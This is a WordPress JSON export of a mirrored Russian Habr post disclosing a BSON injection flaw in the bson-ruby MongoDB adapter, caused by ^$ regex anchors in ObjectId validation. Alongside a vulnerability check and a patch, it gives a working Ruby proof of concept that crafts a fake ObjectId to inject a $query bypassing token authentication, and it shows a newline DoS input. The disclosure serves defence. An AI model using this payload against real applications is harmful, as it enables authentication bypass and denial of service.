{"id":258683,"date":"2015-06-04T20:36:02","date_gmt":"2015-06-04T16:36:02","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=258683"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=258683","title":{"rendered":"BSON \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f \u0432 MongoDB \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u0435 \u0434\u043b\u044f Ruby"},"content":{"rendered":"<p>     \t\u0412 BSON-ruby \u0431\u044b\u043b \u043d\u0430\u0439\u0434\u0435\u043d \u0431\u0430\u0433 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432 \u043b\u0443\u0447\u0448\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u043b \u043a \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u043c\u0443 DoS, \u043d\u043e \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0432\u0435\u0440\u0441\u0438\u0439 \u0431\u044b\u043b\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e \u043a \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u0432 BSON (\u0430\u043d\u0430\u043b\u043e\u0433 SQL \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438, BSON \u044d\u0442\u043e \u0431\u0438\u043d\u0430\u0440\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u043e\u0433 JSON \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0439 \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0431\u0430\u0437\u043e\u0439).<\/p>\n<p>  \u041d\u0430 \u0445\u0430\u0431\u0440\u0435 \u0443\u0436\u0435 <a href=\"http:\/\/habrahabr.ru\/post\/144139\/\">\u043a\u0430\u043a \u0442\u043e \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u043b\u0430\u0441\u044c<\/a> \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043e\u043a \u0432 \u0440\u0443\u0431\u0438 \u2014 \u0443 \u043d\u0430\u0441 ^$ \u0437\u043d\u0430\u0447\u0430\u0442 \u043d\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u043d\u0430\u0447\u0430\u043b\u043e \u0438 \u043a\u043e\u043d\u0435\u0446 \u0441\u0442\u0440\u043e\u043a\u0438, \u043d\u043e \u0438 \u043d\u043e\u0432\u0443\u044e \u0441\u0442\u0440\u043e\u043a\u0443 \\n.<\/p>\n<p>  \u041d\u043e \u0442\u043e\u0433\u0434\u0430 \u044d\u0442\u043e \u0431\u044b\u043b\u0438 \u043b\u0438\u0448\u044c XSS \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u00abjavascript:a()\\nhttp:\/\/\u00bb \u0438 \u044f \u0434\u0430\u0432\u043d\u043e \u0438\u0441\u043a\u0430\u043b \u043f\u0440\u0438\u043c\u0435\u0440, \u043a\u043e\u0433\u0434\u0430 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043a\u0438 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442 \u043a \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u0418 \u0432\u043e\u0442 \u043f\u0430\u0440\u0443 \u0434\u043d\u0435\u0439 \u043d\u0430\u0437\u0430\u0434 \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0430\u0443\u0434\u0438\u0442\u0430 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0441\u0432\u043e\u0435\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u043d\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u043a\u043e\u0434 \u0432 BSON-ruby.   <\/p>\n<pre><code class=\"bash\">def legal?(str)   !!str.match(\/^[0-9a-f]{24}$\/i) end  <\/code><\/pre>\n<p>  <a name=\"habracut\"><\/a><br \/>  \u042d\u0442\u043e\u0442 \u043c\u0435\u0442\u043e\u0434 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u0435\u043d \u0437\u0430 \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044e ObjectId. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 Order.find(params[:id]) \u0433\u0434\u0435 id \u044d\u0442\u043e 24 \u0441\u0438\u043c\u0432\u043e\u043b\u0430 \u0438\u0437 \u044e\u0437\u0435\u0440 \u0438\u043d\u043f\u0443\u0442\u0430 \u0432\u0438\u0434\u0430 \u00ab21141c78d99f23d5f34d3201\u00bb.<\/p>\n<p>  \u041f\u0440\u043e\u0432\u0435\u0434\u044f \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u044f \u0432\u044b\u044f\u0441\u043d\u0438\u043b \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432 2012, \u043f\u043e\u0442\u043e\u043c \u0437\u0430\u043d\u043e\u0432\u043e \u0432\u0432\u0435\u0434\u0435\u043d\u0430 \u0441\u0430\u043c\u0438\u043c \u0436\u0435 \u043c\u0435\u0439\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u043c \u0432 2013 \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435<a href=\"https:\/\/github.com\/mongodb\/bson-ruby\/commit\/21141c78d99f23d5f34d32010557ef19d0f77203#diff-8c8558c185bbb548ccb5a6d6ac4bfee5L219\"> \u043e\u0447\u0435\u043d\u044c \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0440\u0435\u0433\u0440\u0435\u0441\u0441\u0438\u0438.<\/a><\/p>\n<p>  \u0421 17 \u0430\u043f\u0440\u0435\u043b\u044f 2012 \u043f\u043e \u043c\u0430\u0440\u0442 2012 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c ^$, \u0437\u0430\u0442\u0435\u043c \\A\\Z \u0434\u043e \u0430\u043f\u0440\u0435\u043b\u044f 2013, \u0438 \u0437\u0430\u0442\u0435\u043c \u0441\u043d\u043e\u0432\u0430 ^$. <\/p>\n<p>  \u0427\u0442\u043e\u0431\u044b \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e \u043b\u0438 \u0432\u0430\u0448\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u0435  <\/p>\n<pre><code class=\"bash\">b=((defined?(Moped::BSON) ? Moped::BSON : BSON)::ObjectId) raise &quot;DoS!&quot; if b.legal? &quot;a&quot;*24+&quot;\\n&quot; raise &quot;Injection!&quot; if b.legal? &quot;a&quot;*24+&quot;\\na&quot; And use this patch if you indeed are! Don\u2019t forget to alert others. <\/code><\/pre>\n<p>  \u0418 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u044d\u0442\u043e\u0442 \u043f\u0430\u0442\u0447 \u0435\u0441\u043b\u0438 \u0434\u0430  <\/p>\n<pre><code class=\"bash\">def ((defined?(Moped::BSON) ? Moped::BSON : BSON)::ObjectId).legal?(s)   \/\\A\\h{24}\\z\/ === s.to_s end <\/code><\/pre>\n<p>  \u0415\u0441\u043b\u0438 \u0432\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0435 \u0441\u0442\u0430\u0440\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e BSON \u0438\u0437 2013 \u0433\u043e\u0434\u0430, \u0442\u043e \u0441\u043a\u043e\u0440\u0435\u0435 \u0432\u0441\u0435\u0433\u043e \u0442\u0430\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \\A\\Z \u0438 \u043b\u0438\u0448\u044c \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439 DoS \u0432\u043e\u0437\u043c\u043e\u0436\u0435\u043d. \u041f\u043e\u0447\u0435\u043c\u0443? \u041f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \\Z \u0432 \u0440\u0443\u0431\u0438 \u043f\u043e\u043c\u0438\u043c\u043e \u043e\u043a\u043e\u043d\u0447\u0430\u043d\u0438\u044f \u0441\u0442\u0440\u043e\u043a\u0438 \u0440\u0430\u0437\u0440\u0435\u0448\u0430\u044e\u0442 \u043e\u0434\u0438\u043d \\n \u0432 \u043a\u043e\u043d\u0446\u0435. \u0418\u0442\u043e\u0433\u043e \u0435\u0441\u043b\u0438 \u043c\u044b \u043f\u043e\u0448\u043b\u0435\u043c id=aaaaaaaaaaaaaaaaaaaaaaaa%0A \u0442\u043e \u043c\u043e\u043d\u0433\u043e \u0431\u0443\u0434\u0435\u0442 \u0440\u0443\u0433\u0430\u0442\u044c\u0441\u044f <b>[conn1] Assertion: 10307:Client Error: bad object in message: invalid bson type in object with _id: ObjectId(&#8216;aaaaaaaaaaaaaaaaaaaaaaaa&#8217;).<\/b><\/p>\n<p>  \u041e\u0434\u043d\u0430\u043a\u043e \u0434\u0440\u0430\u0439\u0432\u0435\u0440 \u0420\u0443\u0431\u0438 \u043d\u0435 \u043f\u043e\u043d\u0438\u043c\u0430\u0435\u0442 \u044d\u0442\u0443 \u043e\u0448\u0438\u0431\u043a\u0443 \u0438 \u0434\u0435\u043b\u0430\u0435\u0442 \u0432\u044b\u0432\u043e\u0434 \u0447\u0442\u043e \u043d\u043e\u0434\u0430 \u043b\u0435\u0436\u0438\u0442. \u0418 \u043f\u0438\u043d\u0433\u0443\u0435\u0442 \u0435\u0449\u0435 39 \u0440\u0430\u0437 \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 5 \u0441\u0435\u043a\u0443\u043d\u0434, \u0437\u0430\u0431\u0438\u0432\u0430\u044f \u0432\u043e\u0440\u043a\u0435\u0440 \u0431\u0435\u0441\u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u043e\u0439, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043e \u043a\u0430\u043a Denial of Service \u0434\u043b\u044f \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u0430\u0439\u0442\u043e\u0432.<\/p>\n<p>  \u041d\u043e \u044d\u0442\u043e \u043d\u0438\u0447\u0442\u043e \u043f\u043e \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044e \u0441 \u0442\u0435\u043c \u0447\u0442\u043e \u0442\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u0432 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 BSON. \u0422\u0430\u043c \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0441\u043b\u0430\u0442\u044c \u0441\u0442\u0440\u043e\u043a\u0443 \u0432\u0438\u0434\u0430 <\/p>\n<p>  _id=Any binary data\\naaaaaaaaaaaaaaaaaaaaaaaa\\nAny binary data <\/p>\n<p>  \u0427\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0437\u043f\u0430\u043a\u043e\u0432\u0430\u043d\u043e \u0438 \u0432\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043e \u0432 \u0442\u0435\u043b\u043e BSON \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u043f\u0440\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u0435 \u043a \u043c\u043e\u043d\u0433\u043e \u0431\u0435\u0437 \u0432\u0441\u044f\u043a\u043e\u0439 \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438 (\u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u0447\u0442\u043e ObjectId \u0443\u0436\u0435 \u0432\u0430\u043b\u0438\u0434\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u0434\u043b\u044f \u0431\u044b\u0441\u0442\u0440\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0432\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u0447\u0438\u0441\u0442\u043e\u043c \u0432\u0438\u0434\u0435). \u0421 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0434\u0430\u043d\u043d\u043e\u0433\u043e Proof of Concept \u043c\u043e\u0436\u043d\u043e \u0434\u0435\u043b\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043a \u043c\u043e\u043d\u0433\u043e \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 BSON \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430, \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0430\u0443\u0442\u0435\u043d\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0442\u043e\u043a\u0435\u043d\u043e\u0432 \u0438\u043b\u0438 API \u043a\u043b\u044e\u0447\u0435\u0439, \u0434\u0435\u043b\u0430\u0442\u044c DoS \u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u043c\u043d\u043e\u0433\u043e\u0435 \u0434\u0440\u0443\u0433\u043e\u0435.  <\/p>\n<pre><code class=\"bash\">require 'uri' b = BSON::Document.new b[&quot;$query&quot;] = {&quot;token&quot; =&gt; {&quot;$gt&quot;=&gt;&quot;&quot;}}  payload = b.to_bson[4..-2] id_ish = (&quot;\\n\\n&quot; + &quot;a&quot;*24 + &quot;\\n\\n&quot;)  fake_id = &quot;a&quot;*24 +   &quot;\\x02_id\\0&quot;.unpack('H*')[0] +   [id_ish.size\/2 + 1].pack('V').unpack('H*')[0] + id_ish + &quot;00&quot; +   payload.unpack('H*')[0]  puts URI.encode(fake_id) # looks like: # aaaaaaaaaaaaaaaaaaaaaaaa025f6964000f000000%0A%0Aaaaaaaaaaaaaaaaaaaaaaaaa%0A%0A0003247175657279001b00000003746f6b656e000f000000022467740001000000000000  User.find fake_id #returns &lt;User _id: 556f840f686f6d6746000000, token: &quot;a&quot;&gt; <\/code><\/pre>\n<p>  \u0412 \u0438\u0442\u043e\u0433\u0435 \u0437\u0430\u043f\u0440\u043e\u0441 \u0441 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0435\u0439 \u0442\u0430\u043a\u043e\u0439:<\/p>\n<p>  \\x83\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD4\\a\\x00\\x00\\x00\\x00\\x00\\x00 mng_development.users\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00Q\\x00\\x00\\x00\\a_id<b>\\x00 \\xAA\\xAA\\xAA\\xAA\\xAA\\xAA\\xAA\\xAA\\xAA\\xAA\\xAA\\xAA\\x02_id\\x00\\x0F\\x00\\x00\\x00\\xAA \\xAA\\xAA\\xAA\\xAA\\xAA\\xAA\\xAA\\xAA\\xAA\\xAA\\xAA\\xAA\\xAA\\x00\\x03$query\\x00\\e\\x00\\x00 \\x00\\x03token\\x00\\x0F\\x00\\x00\\x00\\x02$gt\\x00\\x01<\/b>\\x00\\x00\\x00\\x00\\x00\\x00\\x00<\/p>\n<p>  \u041f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u0435 \u043f\u0430\u0442\u0447, \u0438 \u043f\u043e\u043c\u043d\u0438\u0442\u0435, \u0447\u0442\u043e \u0432 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043a\u0430\u0445 \u0432 \u0440\u0443\u0431\u0438 \u0432\u0441\u0435\u0433\u0434\u0430 \u043d\u0443\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \\A\\z.     \t<\/p>\n<div class=\"clear\"><\/div>\n<p> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"http:\/\/habrahabr.ru\/post\/259569\/\"> http:\/\/habrahabr.ru\/post\/259569\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>     \t\u0412 BSON-ruby \u0431\u044b\u043b \u043d\u0430\u0439\u0434\u0435\u043d \u0431\u0430\u0433 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432 \u043b\u0443\u0447\u0448\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u043b \u043a \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u043c\u0443 DoS, \u043d\u043e \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0432\u0435\u0440\u0441\u0438\u0439 \u0431\u044b\u043b\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e \u043a \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u0432 BSON (\u0430\u043d\u0430\u043b\u043e\u0433 SQL \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438, BSON \u044d\u0442\u043e \u0431\u0438\u043d\u0430\u0440\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u043e\u0433 JSON \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0439 \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0431\u0430\u0437\u043e\u0439).<\/p>\n<p>  \u041d\u0430 \u0445\u0430\u0431\u0440\u0435 \u0443\u0436\u0435 <a href=\"http:\/\/habrahabr.ru\/post\/144139\/\">\u043a\u0430\u043a \u0442\u043e \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u043b\u0430\u0441\u044c<\/a> \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043e\u043a \u0432 \u0440\u0443\u0431\u0438 \u2014 \u0443 \u043d\u0430\u0441 ^$ \u0437\u043d\u0430\u0447\u0430\u0442 \u043d\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u043d\u0430\u0447\u0430\u043b\u043e \u0438 \u043a\u043e\u043d\u0435\u0446 \u0441\u0442\u0440\u043e\u043a\u0438, \u043d\u043e \u0438 \u043d\u043e\u0432\u0443\u044e \u0441\u0442\u0440\u043e\u043a\u0443 \\n.<\/p>\n<p>  \u041d\u043e \u0442\u043e\u0433\u0434\u0430 \u044d\u0442\u043e \u0431\u044b\u043b\u0438 \u043b\u0438\u0448\u044c XSS \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u00abjavascript:a()\\nhttp:\/\/\u00bb \u0438 \u044f \u0434\u0430\u0432\u043d\u043e \u0438\u0441\u043a\u0430\u043b \u043f\u0440\u0438\u043c\u0435\u0440, \u043a\u043e\u0433\u0434\u0430 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043a\u0438 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442 \u043a \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u0418 \u0432\u043e\u0442 \u043f\u0430\u0440\u0443 \u0434\u043d\u0435\u0439 \u043d\u0430\u0437\u0430\u0434 \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0430\u0443\u0434\u0438\u0442\u0430 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0441\u0432\u043e\u0435\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u043d\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u043a\u043e\u0434 \u0432 BSON-ruby.   <\/p>\n<pre><code class=\"bash\">def legal?(str)   !!str.match(\/^[0-9a-f]{24}$\/i) end  <\/code><\/pre>\n<p>  <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-258683","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/258683","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=258683"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/258683\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=258683"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=258683"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=258683"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}